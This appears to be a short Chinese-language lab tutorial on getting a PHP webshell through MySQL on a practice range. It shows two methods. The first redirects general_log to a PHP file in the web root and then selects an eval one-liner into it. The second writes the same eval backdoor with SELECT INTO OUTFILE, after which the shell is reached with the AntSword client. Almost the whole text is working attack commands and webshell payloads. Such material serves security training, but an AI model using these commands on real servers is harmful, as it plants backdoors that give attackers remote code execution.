一.通过日志文件拿Shell
打开靶场连接数据库

来到sql中输入
show global variables like '%general%';

set global general_log='on'; //⽇志保存状态开启;

set global general_log_file = 'D:/phpstudy/phpstudy_pro/WWW/123.php' //修改日志保存位置

show global variables like '%general%';

select '<?php eval($_POST[cmd]);?>';


看看是否能连接成功

二.导入导出拿webshell
输入select @@datadir我们可以看到mysql路径
所以我们推测web路径为D:/phpstudy/phpstudy_pro/WWW

select "<?php eval($_POST[a]);?>" into outfile 'D:/phpstudy/phpstudy_pro/WWW/666.php'

去访问

再用蚁剑连接一下试试
